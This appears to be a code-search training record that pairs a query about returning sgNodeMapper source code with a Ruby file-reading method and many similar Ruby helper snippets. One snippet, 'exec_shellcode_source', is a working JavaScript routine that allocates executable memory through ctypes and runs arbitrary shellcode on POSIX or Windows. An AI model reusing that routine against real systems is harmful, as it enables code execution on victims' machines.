"def compile\n Puppet[:strict_variables] = true\n Puppet[:strict] = :error\n\n # TRANSLATORS, \"For running script\" is not user facing\n Puppet.override( @context_overrides , \"For running script\") do\n\n #TRANSLATORS \"main\" is a function name and should not be translated\n result = Puppet::Util::Profiler.profile(_(\"Script: Evaluated main\"), [:script, :evaluate_main]) { evaluate_main }\n if block_given?\n yield self\n else\n result\n end\n end\n\n rescue Puppet::ParseErrorWithIssue => detail\n detail.node = node_name\n Puppet.log_exception(detail)\n raise\n rescue => detail\n message = \"#{detail} on node #{node_name}\"\n Puppet.log_exception(detail, message)\n raise Puppet::Error, message, detail.backtrace\n end",
"def precompiled_template(locals = {})\n @src\n end",
"def map_code\n @map_code\n end",
"def with_script_compiler(&block)\n in_environment do |env|\n env.with_script_compiler(&block)\n end\n end",
"def get_map() \n map_js = <<-'END_OF_MAP'\n function() {\n var agent = this.agentId;\n var sum = {};\n sum[this.tokenCommandId] = 1;\n\t\t\t\t\temit(agent, sum ); \n }\n END_OF_MAP\n\n return map_js\nend",
"def precompiled_template(locals = {})\n @src\n end",
"def compilation\n @ole.Compilation\n end",
"def compile()\n self._compiled = <<\"JAVASCRIPT\"\n(function(repl) {\n try {\n var rc;\n #{code.join(' ')}\n repl.rc_ok(rc);\n } catch(e) {\n repl.rc_fail(e.name, e.message ? e.message : e);\n };\n})(#{replid});\nJAVASCRIPT\n self._code = []\n end",
"def context\n @_context ||= {\n :argv => START_CTX[:argv].map { |arg| arg.dup },\n :cwd => START_CTX[:cwd].dup,\n 0 => START_CTX[0].dup,\n }.tap do |ctx|\n rewrite_context(ctx)\n end\n end",
"def compiler\n @compiler ||= Compiler.new(self)\n end",
"def compiler\n @compiler ||= Compiler.new(self)\n end",
"def exec_shellcode_source\n %Q|\n var execShellcode = function(shellcode, bytes) {\n Components.utils.import(\"resource://gre/modules/ctypes.jsm\");\n\n var execPosix = function() {\n var RWX = 7, ANON_PRIVATE = 4098;\n Components.utils.import(\"resource://gre/modules/ctypes.jsm\");\n var LIBS = [\n \"/usr/lib/libSystem.B.dylib\",\n \"libc.so.6\",\n \"libc.so\"\n ];\n\n var i, lib;\n for (i in LIBS) {\n try {\n lib = ctypes.open(LIBS[i]);\n break;\n } catch (e) {}\n }\n if (!lib) throw new Error(\"Could not find lib in [\"+LIBS+\"]\");\n\n var mmap = lib.declare('mmap',\n ctypes.default_abi, /* calling convention */\n ctypes.voidptr_t, /* return type */\n ctypes.voidptr_t, /* address (NULL here) */\n ctypes.size_t, /* num bytes */\n ctypes.int, /* PROT_READ OR PROT_WRITE OR PROT_EXEC */\n ctypes.int, /* MAP_ANONYMOUS OR MAP_PRIVATE */\n ctypes.int, /* fd (0) */\n ctypes.int /* offset (0) */\n );\n var memcpy = lib.declare('memcpy',\n ctypes.default_abi, /* calling convention */\n ctypes.voidptr_t, /* return type */\n ctypes.voidptr_t, /* dest */\n ctypes.voidptr_t, /* src */\n ctypes.size_t /* size to copy */\n );\n var fork = lib.declare('fork',\n ctypes.default_abi, /* calling convention */\n ctypes.int /* return type */\n );\n var buff = mmap(null, shellcode.length, RWX, ANON_PRIVATE, 0, 0);\n var cstr = ctypes.jschar.array()(shellcode);\n memcpy(buff, cstr, bytes);\n /* there is probably a better way to do this */\n var m = buff.toString().match(/\"0x([0-9a-fA-F]*)\"/);\n if (!m) throw new Error(\"Could not find address of buffer.\");\n if (fork() == 0) {\n ctypes.FunctionType(ctypes.default_abi, ctypes.void_t).ptr(parseInt(m[1], 16))();\n }\n };\n\n var execWindows = function() {\n var RWX = 0x40, ANON_PRIVATE = 0x1000;\n var Kernel32 = ctypes.open(\"Kernel32.dll\");\n var VirtualAlloc = Kernel32.declare('VirtualAlloc',\n ctypes.winapi_abi, /* calling convention */\n ctypes.voidptr_t, /* return type */\n ctypes.voidptr_t, /* start address (NULL here) */\n ctypes.size_t, /* num bytes */\n ctypes.unsigned_long, /* alloc type */\n ctypes.unsigned_long /* protection flags */\n );\n var RtlMoveMemory = Kernel32.declare('RtlMoveMemory',\n ctypes.winapi_abi, /* calling convention */\n ctypes.voidptr_t, /* return type */\n ctypes.voidptr_t, /* dest */\n ctypes.voidptr_t, /* src */\n ctypes.size_t /* size to copy */\n );\n var CreateThread = Kernel32.declare('CreateThread',\n ctypes.winapi_abi, /* calling convention */\n ctypes.voidptr_t, /* return type */\n ctypes.voidptr_t, /* lpThreadAttributes */\n ctypes.voidptr_t, /* dwStackSize */\n ctypes.voidptr_t, /* lpStartAddress copy */\n ctypes.voidptr_t, /* lpParameter */\n ctypes.voidptr_t, /* dwCreationFlags */\n ctypes.voidptr_t /* lpThreadId */\n );\n var buff = VirtualAlloc(null, shellcode.length, ANON_PRIVATE, RWX);\n var cstr = ctypes.jschar.array()(shellcode);\n RtlMoveMemory(buff, cstr, bytes);\n var m = buff.toString().match(/\"0x([0-9a-fA-F]+)\"/);\n if (!m) throw new Error(\"Could not find address of buffer.\");\n var fn = ctypes.FunctionType(ctypes.winapi_abi, ctypes.void_t).ptr(parseInt(m[1], 16));\n CreateThread(null, null, fn, null, null, null);\n };\n\n var i, errs = [], fns = [execWindows, execPosix];\n for (i in fns) {\n try {\n fns[i](shellcode);\n return true;\n } catch(e) { errs.push(e.message); }\n }\n\n throw new Error(\"All methods failed. Exceptions encountered:\\\\n[\"+errs+\"]\");\n };\n |\n end",
"def compile_file(filepath, options={})\n options = options.clone\n if options[:output]\n output_filename = options[:output]\n elsif options[:output_dir]\n filename = File.basename(filepath).gsub(/[.]ts$/, '.js')\n output_filename = File.join(options[:output_dir], filename)\n else\n output_filename = filepath.gsub(/[.]ts$/, '.js')\n end\n\n args = [filepath] + flatten_options(options)\n stdout, stderr, wait_thr = node_compile(*args)\n\n if wait_thr.nil?\n success = stdout.empty? and stderr.empty?\n else\n success = wait_thr.value == 0\n end\n\n if success\n result = {\n :js => output_filename,\n :stdout => stdout,\n }\n if options[:source_map]\n result[:source_map] = output_filename + '.map'\n end\n return result\n else\n raise TypeScript::Error, ( stderr.empty? ? stdout : stderr )\n end\n end",
"def compile\n Puppet.override( @context_overrides , _(\"For compiling %{node}\") % { node: node.name }) do\n @catalog.environment_instance = environment\n\n # Set the client's parameters into the top scope.\n Puppet::Util::Profiler.profile(_(\"Compile: Set node parameters\"), [:compiler, :set_node_params]) { set_node_parameters }\n\n Puppet::Util::Profiler.profile(_(\"Compile: Created settings scope\"), [:compiler, :create_settings_scope]) { create_settings_scope }\n\n #TRANSLATORS \"main\" is a function name and should not be translated\n Puppet::Util::Profiler.profile(_(\"Compile: Evaluated main\"), [:compiler, :evaluate_main]) { evaluate_main }\n\n Puppet::Util::Profiler.profile(_(\"Compile: Evaluated AST node\"), [:compiler, :evaluate_ast_node]) { evaluate_ast_node }\n\n Puppet::Util::Profiler.profile(_(\"Compile: Evaluated node classes\"), [:compiler, :evaluate_node_classes]) { evaluate_node_classes }\n\n Puppet::Util::Profiler.profile(_(\"Compile: Evaluated generators\"), [:compiler, :evaluate_generators]) { evaluate_generators }\n\n Puppet::Util::Profiler.profile(_(\"Compile: Validate Catalog pre-finish\"), [:compiler, :validate_pre_finish]) do\n validate_catalog(CatalogValidator::PRE_FINISH)\n end\n\n Puppet::Util::Profiler.profile(_(\"Compile: Finished catalog\"), [:compiler, :finish_catalog]) { finish }\n\n fail_on_unevaluated\n\n Puppet::Util::Profiler.profile(_(\"Compile: Validate Catalog final\"), [:compiler, :validate_final]) do\n validate_catalog(CatalogValidator::FINAL)\n end\n\n if block_given?\n yield @catalog\n else\n @catalog\n end\n end\n end",
"def sys_source\n @sys_source ||= MakeMakefile.find_executable(\"jscs\")\n end",
"def generate_source\n b = binding\n @generated_code = ERB.new(@artifact.code).result(b)\n end",
"def compile(source, mapper)\n raise NotImplementedError\n end",
"def compile(script, options = {})\n script = script.read if script.respond_to?(:read)\n\n if options.key?(:bare)\n elsif options.key?(:no_wrap)\n options[:bare] = options[:no_wrap]\n else\n options[:bare] = false\n end\n\n result = Source.context.call(\"RubyTypeScriptCompiler\", Source.lib_contents, script, options)\n\n result['log'].each do |lines|\n JSON.parse(lines).collect { |k, v| v }.each do |message|\n puts \">> #{ message }\"\n end\n end\n\n return result['output']\n end",
"def template engine, file, action = nil, context = nil\n\n scope = @node_instance || @node || Object.new\n proc = compile(action)\n return engine.new(file) unless proc &&\n instruction = scope.instance_exec(action, &proc)\n\n pool = compiler_pool\n locals = context.is_a?(Hash) ? context.keys : []\n key = '%s:%s:%s:%s' % [file, @node, action, ::Digest::MD5.hexdigest(locals.to_s)]\n\n pool[key] = engine.new(file).precompile(*locals) if instruction == :update\n \n template, offset = pool.get key do\n engine.new(file).precompile(*locals)\n end\n engine.new { [template, offset] }\n end",
"def get_sourcemap_args\n # The cwd is /fastlane. I don't know why entry_file doesn't need to be ../, but\n # I believe that watchman finds the project root and automatically looks there\n case lane_context[:PLATFORM_NAME]\n when :android\n platform = 'android'\n entry_file = 'index.js'\n bundle_output = '../android-release.bundle'\n sourcemap_output = '../android-release.bundle.map'\n bundle_url = 'index.android.bundle'\n when :ios\n platform = 'ios'\n entry_file = 'index.js'\n bundle_output = '../ios-release.bundle'\n sourcemap_output = '../ios-release.bundle.map'\n bundle_url = 'main.jsbundle'\n end\n\n {\n platform: platform,\n entry_file: entry_file,\n bundle_output: bundle_output,\n sourcemap_output: sourcemap_output,\n bundle_url: bundle_url,\n }\nend",
"def compile_with_map(source)\n run_uglifyjs(source, true)\n end",
"def compile_with_map(source)\n run_uglifyjs(source, true)\n end",
"def exec\n bytecode = @mmu.fetch_memory(@register.pc)\n end",
"def source_map(path = 'wedge', options = {})\n build(path, options).source_map\n end",
"def source_map(path = 'wedge', options = {})\n build(path, options).source_map\n end",
"def source_map(path = 'wedge', options = {})\n build(path, options).source_map\n end",
"def evaluate(scope, locals, &block)\n if ::Requirejs::BuildConfig.new(file).exists?\n compiler = ::Requirejs::Compiler.new(scope: scope, data: data, file: file)\n @output ||= compiler.exec\n else\n @output ||= data\n end\n end",
"def compile(script, options = {})\n script = script.read if script.respond_to?(:read)\n error, data = Source.context.call('compile', script)\n\n if error\n raise ParseError, error['message']\n else\n data\n end\n end",
"def compile_treetop_runtime_syntax_node node\n if node.elements\n node.elements.map{|element| \n# puts \"Invoking on #{element.class}\"\n compile element}.to_s\n else\n node.text\n end \n end",
"def cifrom(compiler)\n CodeInterpreter.new(compiler.bc, compiler.ctx)\nend",
"def compile(source)\n ast = transformer.apply(parser.parse(source))\n ast.compile\n end",
"def compile_to_c\n \"\"\n end",
"def context\n @_context ||= begin\n ptr = MemoryPointer::new( Context )\n error = OpenCL.clGetProgramInfo(self, CONTEXT, Context.size, ptr, nil)\n error_check(error)\n Context::new( ptr.read_pointer )\n end\n end",
"def compiled_content(params = {})\n rep_for_params!(params).compiled_content(params)\n end",
"def compiled_path; end",
"def mapper\n mappers[to_ast]\n end",
"def precompiled(locals)\n source, offset = super\n [source, offset + 1]\n end",
"def compile\n Tipsy::Runners::Compiler.new(@args, @site)\n end",
"def source\n @source ||= begin\n source_opts = {\n :folder => File.join(options(:root), options(:source)),\n :cache => Rack::Sprockets.config.cache? ? cache : nil,\n :compress => Rack::Sprockets.config.compress,\n :secretary => {\n :root => options(:root),\n :load_path => options(:load_path),\n :expand_paths => options(:expand_paths)\n }\n }\n Source.new(path_info_resource, source_opts)\n end\n end",
"def getFunctionCodeNode(node, name)\n unless node.nil?\n if(node.type.to_s.eql? \"def\" and node.children[0].to_s.eql? name)\n return node.loc.expression.source\n end\n end\n end",
"def to_code\n if @sexp\n \"/*:#{@sexp.line}:#{@sexp.column}*/#{@code}\"\n else\n @code\n end\n end",
"def precompiled(locals); end",
"def mkci bc, ctx\n CodeInterpreter.new bc, ctx\nend",
"def source\r\n @_source ||= @_block.call\r\n end",
"def eval_context(context, node); end",
"def getAST\n return @ast\n end",
"def compile force:nil, production:nil\n @production = production || false\n method_name = 'compile_%s' % @source.to_s.split('.').last.downcase\n\n if respond_to?(method_name, true)\n (!force && cached) || ( process_erb; send(method_name))\n else\n @source.read\n end\n end",
"def sourcemap_option; end",
"def source_code\n next_node_line =\n if next_node\n next_node.line - 1\n else\n @document.source_lines.count + 1\n end\n\n @document.source_lines[@line - 1...next_node_line]\n .join(\"\\n\")\n .gsub(/^\\s*\\z/m, '') # Remove blank lines at the end\n end",
"def precompiled_template(locals)\n @engine.precompiled\n end",
"def precompiled_template(locals)\n @engine.precompiled\n end",
"def code\r\n return @code[@index]\r\n end",
"def compile_code(*jsstmts)\n code *jsstmts\n compile\n end",
"def compile_to_ruby_source_as parser_class_name\r\n result = \"class #{parser_class_name} < Dhaka::CompiledParser\\n\\n\"\r\n result << \" self.grammar = #{grammar.name}\\n\\n\"\r\n result << \" start_with #{start_state.id}\\n\\n\"\r\n states.each do |state|\r\n result << \"#{state.compile_to_ruby_source}\\n\\n\"\r\n end\r\n result << \"end\"\r\n result\r\n end",
"def from &code\n @vars = Variabler.new\n sexp = code.to_sexp(strip_enclosure: true)\n sourcecode = statements(sexp)\n pp sexp\n return @vars.sourcecode + NL + sourcecode\n end",
"def process(code, context)\n compiler = Verneuil::Compiler.new\n program = compiler.compile(code)\n # p program\n Verneuil::Process.new(program, context)\nend",
"def compile(rule, rs, is_reset=false)\n evaluated = evaluate(rule,rs,is_reset)\n return Compiled.new(\n rule,\n evaluated,\n codes(evaluated)\n ).freeze\n end",
"def getAST()\n return @ast\n end",
"def gci source\n cifrom(compile(source))\nend",
"def evaluate(code: 'undef', source: nil, node: Puppet::Node.new('testnode'), variables: {}, source_location: nil)\n node.environment = Puppet.lookup(:current_environment)\n source_location = caller[0] unless source_location\n Puppet[:code] = code\n compiler = Puppet::Parser::Compiler.new(node)\n unless variables.empty?\n scope = compiler.topscope\n variables.each {|k,v| scope.setvar(k, v) }\n end\n\n if source.nil?\n compiler.compile\n # see lib/puppet/indirector/catalog/compiler.rb#filter\n return compiler.filter { |r| r.virtual? }\n end\n\n # evaluate given source is the context of the compiled state and return its result\n compiler.compile do |catalog |\n ast = Puppet::Pops::Parser::EvaluatingParser.singleton.parse_string(source, source_location)\n bridged = Puppet::Parser::AST::PopsBridge::Program.new(ast, {:file => source_location})\n # define all catalog types\n compiler.environment.known_resource_types.import_ast(bridged, \"\")\n bridged.evaluate(compiler.topscope)\n\n Puppet::Pops::Parser::EvaluatingParser.singleton.evaluate(compiler.topscope, ast)\n end\n end",
"def build_compiler\n node_name = nodename(:function)\n fact_values = facts_hash(node_name)\n\n # if we specify a pre_condition, we should ensure that we compile that\n # code into a catalog that is accessible from the scope where the\n # function is called\n Puppet[:code] = pre_cond\n\n node_options = {\n :parameters => fact_values,\n }\n\n stub_facts! fact_values\n\n node = build_node(node_name, node_options)\n\n compiler = Puppet::Parser::Compiler.new(node)\n compiler.compile\n compiler\n end",
"def compiler_pool pool = nil\n @compiler_pool = pool if pool && configurable?\n @setup[:compiler_pool] ||= @compiler_pool ||\n (@controller.ctrl.slice.view.compiler_pool if @controller) ||\n ::Presto::Cache::Memory.new\n end",
"def generate_sourcemap\n\targs = sourcemap_args\n\n\tcmd = [\n\t 'npx react-native bundle',\n\t '--dev false',\n\t \"--platform '#{args[:platform]}'\",\n\t \"--entry-file '#{args[:entry_file]}'\",\n\t \"--bundle-output '#{args[:bundle_output]}'\",\n\t \"--sourcemap-output '#{args[:sourcemap_output]}'\",\n\t ].join ' '\n\n\tFastlaneCore::CommandExecutor.execute(command: cmd,\n\t print_all: true,\n\t print_command: true)\nend",
"def caching_compile(action, template)\n if Global.compile && action.template\n Cache.compiled[action.relaxed_hash] ||= compile(action, template)\n else\n compile(action, template)\n end\n end",
"def compile_exec()\n compile\n exec\n end",
"def generate_sourcemap\n args = get_sourcemap_args\n\n cmd = [\n 'npx react-native bundle',\n '--dev false',\n \"--platform '#{args[:platform]}'\",\n \"--entry-file '#{args[:entry_file]}'\",\n \"--bundle-output '#{args[:bundle_output]}'\",\n \"--sourcemap-output '#{args[:sourcemap_output]}'\",\n ].join ' '\n\n FastlaneCore::CommandExecutor.execute(command: cmd,\n print_all: true,\n print_command: true)\nend",
"def render_js(js_code, options = {})\n component_name = options.fetch(:react_component_name, \"\")\n\n result_js_code = \"result = #{js_code}\"\n\n js_code_wrapper = <<-JS\n(function () {\n var result = '';\n #{ReactOnRails::ReactRenderer.wrap_code_with_exception_handler(result_js_code, component_name)}\n #{after_render};\n return result;\n})()\n JS\n\n trace_rails_on_maui = ENV[\"TRACE_REACT_ON_RAILS\"].present? # Set to anything to print generated code.\n if trace_rails_on_maui\n puts \"ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ\"\n puts \"react_renderer.rb: 92\"\n puts \"js_code_wrapper = #{js_code_wrapper.ai}\"\n puts \"wrote file tmp/server-generated.js\"\n File.write('tmp/server-generated.js', js_code_wrapper)\n puts \"ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ\"\n end\n\n @context.eval(js_code_wrapper)\n end",
"def script\n @source\n end",
"def extract_code(data)\n data.gsub!(/^``` ?([^\\r\\n]+)?\\r?\\n(.+?)\\r?\\n```\\r?$/m) do\n id = Digest::SHA1.hexdigest($2)\n cached = check_cache(:code, id)\n @codemap[id] = cached ?\n { :output => cached } :\n { :lang => $1, :code => $2 }\n id\n end\n data\n end",
"def sourcemap_required?; end",
"def execution_context\n @context\n end",
"def source\n @source ||= begin\n file, line_no = source_location\n raise \"no file provided by source_location: #{self}\" if file.nil?\n raise \"no line number provided for source_location: #{self}\" if line_no.nil?\n tokens = Ripper.lex File.read(file)\n tokens_on_line = tokens.select {|pos, lbl, str| pos[0].eql?(line_no) }\n starting_token = tokens_on_line.detect do |pos, lbl, str|\n TOKEN_PAIRS.keys.include?([lbl, str]) &&\n _actually_starting_a_proc?(tokens, [pos, lbl, str])\n end\n starting_token_type = [starting_token[1], starting_token[2]]\n ending_token_type = TOKEN_PAIRS[starting_token_type]\n source_str = \"\"\n remaining_tokens = tokens[tokens.index(starting_token)..-1]\n nesting = -1\n starting_nesting_token_types = if [TLAMBDA, LBRACE].include?(starting_token_type)\n [TLAMBDA, LBRACE]\n else\n [starting_token_type]\n end\n\n while token = remaining_tokens.shift\n token = [token[1], token[2]] # strip position\n source_str << token[1]\n nesting += 1 if starting_nesting_token_types.include? token\n is_ending_token = token.eql?(ending_token_type)\n break if is_ending_token && nesting.eql?(0)\n nesting -= 1 if is_ending_token\n end\n source_str\n end\n end"
] | [
"0.66099113",
"0.5837309",
"0.5837309",
"0.5837309",
"0.5808925",
"0.54550207",
"0.5448318",
"0.5448318",
"0.5442406",
"0.54374766",
"0.5399599",
"0.53495175",
"0.53482467",
"0.5344831",
"0.52739364",
"0.52581906",
"0.52345866",
"0.51970434",
"0.5185407",
"0.518362",
"0.5167029",
"0.5149014",
"0.50887626",
"0.5074957",
"0.5068405",
"0.5047732",
"0.5024804",
"0.50034404",
"0.4978744",
"0.4964904",
"0.4951786",
"0.49461874",
"0.4945641",
"0.4918058",
"0.489941",
"0.48798177",
"0.4871238",
"0.4866724",
"0.4866724",
"0.48602402",
"0.48534545",
"0.4844442",
"0.48414454",
"0.48149586",
"0.48119506",
"0.47986594",
"0.4772594",
"0.47708458",
"0.4755272",
"0.4755272",
"0.47515082",
"0.47508326",
"0.47508326",
"0.47508326",
"0.4746355",
"0.47175297",
"0.47116345",
"0.47001722",
"0.46813652",
"0.4676215",
"0.46550062",
"0.46169943",
"0.45893875",
"0.45816603",
"0.45812958",
"0.45797122",
"0.45782274",
"0.45780274",
"0.45709735",
"0.45637292",
"0.45628458",
"0.45608824",
"0.45600113",
"0.45446116",
"0.45445064",
"0.4541461",
"0.45356077",
"0.45260638",
"0.45260638",
"0.45217246",
"0.4513943",
"0.45123404",
"0.45046592",
"0.4499848",
"0.44958314",
"0.4494683",
"0.4490901",
"0.44778216",
"0.446926",
"0.44674027",
"0.44621813",
"0.44594246",
"0.44527695",
"0.4430594",
"0.44281283",
"0.44248518",
"0.44216558",
"0.44125918",
"0.44053268",
"0.439404"
] | 0.6672526 | 0 |
Get a string of the sgNodeMapper source code. Returns the String javascript source code. | def source
File.read(source_path)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def compile_script_string\n @sources.string\n end",
"def compile_sourcemap_string\n JSON.dump(compile_sourcemap)\n end",
"def to_s\n @code.to_s\n end",
"def source_code\n next_node_line =\n if next_node\n next_node.line - 1\n else\n @document.source_lines.count + 1\n end\n\n @document.source_lines[@line - 1...next_node_line]\n .join(\"\\n\")\n .gsub(/^\\s*\\z/m, '') # Remove blank lines at the end\n end",
"def source_path\n File.join(File.expand_path('../../', __FILE__), 'vendor', 'sg_node_mapper', 'nodemapper.js')\n end",
"def inspect\n @code.to_s\n end",
"def to_s\n code.to_s\n end",
"def to_code\n if @sexp\n \"/*:#{@sexp.line}:#{@sexp.column}*/#{@code}\"\n else\n @code\n end\n end",
"def source\n source = source_compiler['jison.js'].to_s\n source_compiler.each_logical_path do |logical_path|\n next if logical_path == 'jison.js'\n src = source_compiler[logical_path].to_s\n logical_path.sub! /\\.js$/, ''\n source.concat \"require.def('#{logical_path}',{factory:function(require,exports,module){#{src}}});\"\n end\n source + \"var Dock = require('dock').Dock;\"\n end",
"def map_code\n @map_code\n end",
"def code()\n return @code.clone()\n end",
"def node_as_string(node)\n return nil unless node\n\n case node.type\n when :symbol, :symbol_literal\n node.source[1..]\n when :label\n node.source[0..-2]\n when :dyna_symbol\n content = node.jump(:tstring_content)\n content.nil? ? node.source : content.source\n when :string_literal\n content = node.jump(:tstring_content)\n return content.source if content != node\n\n # This attempts to work around a bug in YARD (https://github.com/lsegal/yard/issues/779)\n # Check to see if the string source appears to have a heredoc open tag (or \"most\" of one)\n # If so, remove the first line and the last line (if the latter contains the heredoc tag)\n source = node.source\n if source =~ HEREDOC_START\n lines = source.split(\"\\n\")\n source = lines[1..(lines.last.include?(Regexp.last_match(1)[0..-2]) ? -2 : -1)].join(\"\\n\") if lines.size > 1\n end\n\n source\n when :regexp_literal\n node.source\n end\n end",
"def to_s\n source\n end",
"def to_s\n source\n end",
"def code\n @code\n end",
"def code\n @code\n end",
"def get_map() \n map_js = <<-'END_OF_MAP'\n function() {\n var agent = this.agentId;\n var sum = {};\n sum[this.tokenCommandId] = 1;\n\t\t\t\t\temit(agent, sum ); \n }\n END_OF_MAP\n\n return map_js\nend",
"def compiled_source\n set_strict_locals = strict_locals!\n source = encode!\n code = @handler.call(self, source)\n\n method_arguments =\n if set_strict_locals\n \"output_buffer, #{set_strict_locals}\"\n else\n \"local_assigns, output_buffer\"\n end\n\n # Make sure that the resulting String to be eval'd is in the\n # encoding of the code\n source = +<<-end_src\n def #{method_name}(#{method_arguments})\n @virtual_path = #{@virtual_path.inspect};#{locals_code};#{code}\n end\n end_src\n\n # Make sure the source is in the encoding of the returned code\n source.force_encoding(code.encoding)\n\n # In case we get back a String from a handler that is not in\n # BINARY or the default_internal, encode it to the default_internal\n source.encode!\n\n # Now, validate that the source we got back from the template\n # handler is valid in the default_internal. This is for handlers\n # that handle encoding but screw up\n unless source.valid_encoding?\n raise WrongEncodingError.new(source, Encoding.default_internal)\n end\n\n if Template.frozen_string_literal\n \"# frozen_string_literal: true\\n#{source}\"\n else\n source\n end\n end",
"def code\n @code\n end",
"def code\n @code\n end",
"def to_s\r\n code \r\n end",
"def string=(code); end",
"def to_s\n @source\n end",
"def getCode()\n return @code\n end",
"def code\n str = Indentation.get\n str << \"var #{name} = function(#{@parameters.join(', ')}) {\\n\"\n Indentation.indent { str << \"#{block}\\n\" }\n str << \"#{Indentation.get}};\\n\"\n str\n end",
"def to_s\r\n @code.to_s.upcase\r\n end",
"def code\n @code\n end",
"def view_source\n File.read(@script)\n end",
"def code\n body.code.intern if body.respond_to?(:code) && body.code\n end",
"def getFunctionCodeNode(node, name)\n unless node.nil?\n if(node.type.to_s.eql? \"def\" and node.children[0].to_s.eql? name)\n return node.loc.expression.source\n end\n end\n end",
"def to_s\r\n \"Tags=#{@tags.inspect} Code=#{@code.inspect}\"\r\n end",
"def to_s\n \"#{@code}: #{@name}\"\n end",
"def to_s\n \"#{@code}: #{@name}\"\n end",
"def to_js(code)\n raise ArgumentError, 'code required' if code.nil? || code.strip.empty?\n expr = VinesQL.parse(code.strip)\n %Q{\n function(doc) {\n if (doc.type != 'System') return;\n try {\n var match = #{expr.js};\n if (match) {\n var name = doc['_id'].replace('system:', '');\n var os = doc.ohai.kernel.os.toLowerCase().replace('gnu/', '');\n emit(name, os);\n }\n } catch(e) {\n log(e.message);\n }\n }\n }\n end",
"def to_s\n code # editable\n end",
"def to_string_copy(exception = nil)\n res = super(context,self,exception)\n return JS.read_string(res)\n end",
"def javascript\n if @js_output_file\n file_js = File.read(@js_output_file) rescue ''\n ([file_js] + @javascript).join nil\n else\n @javascript.join nil\n end\n end",
"def code\n @info.code\n end",
"def script\n @source\n end",
"def source\n @source ||= raw_source.split(\"---\\n\")[2]\n end",
"def source\n @source ||= raw_source.split(\"---\\n\")[2]\n end",
"def code\r\n return @code[@index]\r\n end",
"def inspect\n \"#<#{self.class}: #@code>\"\n end",
"def generate_source\n b = binding\n @generated_code = ERB.new(@artifact.code).result(b)\n end",
"def raw_source\n @raw_source\n end",
"def raw_source\n @raw_source\n end",
"def raw_source\n @raw_source\n end",
"def to_s\n\t\t@node_string\n\tend",
"def to_s\n \"<SPLATS::Generator @traversal=#{@traversal} @class=#{@class}>\"\n end",
"def get_source\n raise 'check this!'\n # _reflector = new ReflectionClass($this);\n # $file = _reflector.filename;\n # if (!file_exists($file)) {\n # return;\n # end\n # $source = file($file, FILE_IGNORE_NEW_LINES);\n # array_splice($source, 0, _reflector.getEndLine());\n # $i = 0;\n # while (isset($source[$i]) && '/* */' == substr_replace($source[$i], '', 3, -2)) {\n # $source[$i] = str_replace('*//* ', '*/', substr($source[$i], 3, -2));\n # ++$i;\n # end\n # array_splice($source, $i);\n # return implode(\"\\n\", $source);\n end",
"def inspect\n self.ast.to_s\n end",
"def src\n\t\tnode['src']\n\tend",
"def source_name\n source_node.name\n end",
"def get_source_code(method)\n src = \"\"\n \t if ts = method.token_stream \n \t ts.each do |t|\n \t next unless t \t\t\t\n \t src << t.text\n \t end\n end\n return src\n end",
"def to_s\r\n\t\tSCAsmFile.buffer_as_scasm_file(@contents)\r\n\tend",
"def inspect\n \"#<#{self.class} @source=#{@source}>\"\n end",
"def to_s\n @node.content\n end",
"def source_str(program)\n languages = program.languages\n language_str = languages.map { |l| l.value }.join(', ')\n if language_str.length.nonzero?\n raw(\n content_tag(:span, class: \"has-tip\", title: \"Source code: #{language_str}\") do\n tag(:i, class: [\"fas\", \"fa-code\"])\n end\n )\n end\n end",
"def source\n @source ||= begin\n file, line_no = source_location\n raise \"no file provided by source_location: #{self}\" if file.nil?\n raise \"no line number provided for source_location: #{self}\" if line_no.nil?\n tokens = Ripper.lex File.read(file)\n tokens_on_line = tokens.select {|pos, lbl, str| pos[0].eql?(line_no) }\n starting_token = tokens_on_line.detect do |pos, lbl, str|\n TOKEN_PAIRS.keys.include?([lbl, str]) &&\n _actually_starting_a_proc?(tokens, [pos, lbl, str])\n end\n starting_token_type = [starting_token[1], starting_token[2]]\n ending_token_type = TOKEN_PAIRS[starting_token_type]\n source_str = \"\"\n remaining_tokens = tokens[tokens.index(starting_token)..-1]\n nesting = -1\n starting_nesting_token_types = if [TLAMBDA, LBRACE].include?(starting_token_type)\n [TLAMBDA, LBRACE]\n else\n [starting_token_type]\n end\n\n while token = remaining_tokens.shift\n token = [token[1], token[2]] # strip position\n source_str << token[1]\n nesting += 1 if starting_nesting_token_types.include? token\n is_ending_token = token.eql?(ending_token_type)\n break if is_ending_token && nesting.eql?(0)\n nesting -= 1 if is_ending_token\n end\n source_str\n end\n end",
"def to_s\n @js\n end",
"def string_content\n CMark.node_get_string_content(@pointer)\n end",
"def jsx_transform_code\n ::Rails.application.assets[@asset_path].to_s\n end",
"def inspect\n str = \"#<#{self.class} source=#{source.inspect}\"\n str << \" generated=#{generated}, original=#{original}\"\n str << \" name=#{name.inspect}\" if name\n str << \">\"\n str\n end",
"def to_source; \"* = $#{@addr.to_s(16)}\"; end",
"def to_s\n l = \" (lambda)\" if lambda?\n \"#<#{self.class}:0x#{self.object_id.to_s(16)}@#{@block.file}:#{@block.line}#{l}>\"\n end",
"def to_s\n map = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n map << \"<map version=\\\"1.0.1\\\">\\n\"\n map << \"<!-- To view this file, download free mind mapping software FreeMind from http://freemind.sourceforge.net -->\\n\"\n map << nodes_to_s(@nodes)\n map << \"</map>\\n\"\n end",
"def compile_with_map(source)\n run_uglifyjs(source, true)\n end",
"def compile_with_map(source)\n run_uglifyjs(source, true)\n end",
"def name\n return \"#{@code}\"\n end",
"def getAST\n return @ast\n end",
"def to_s\n @source_string || format\n end",
"def scripts\n @content_for_scripts.to_s\n end",
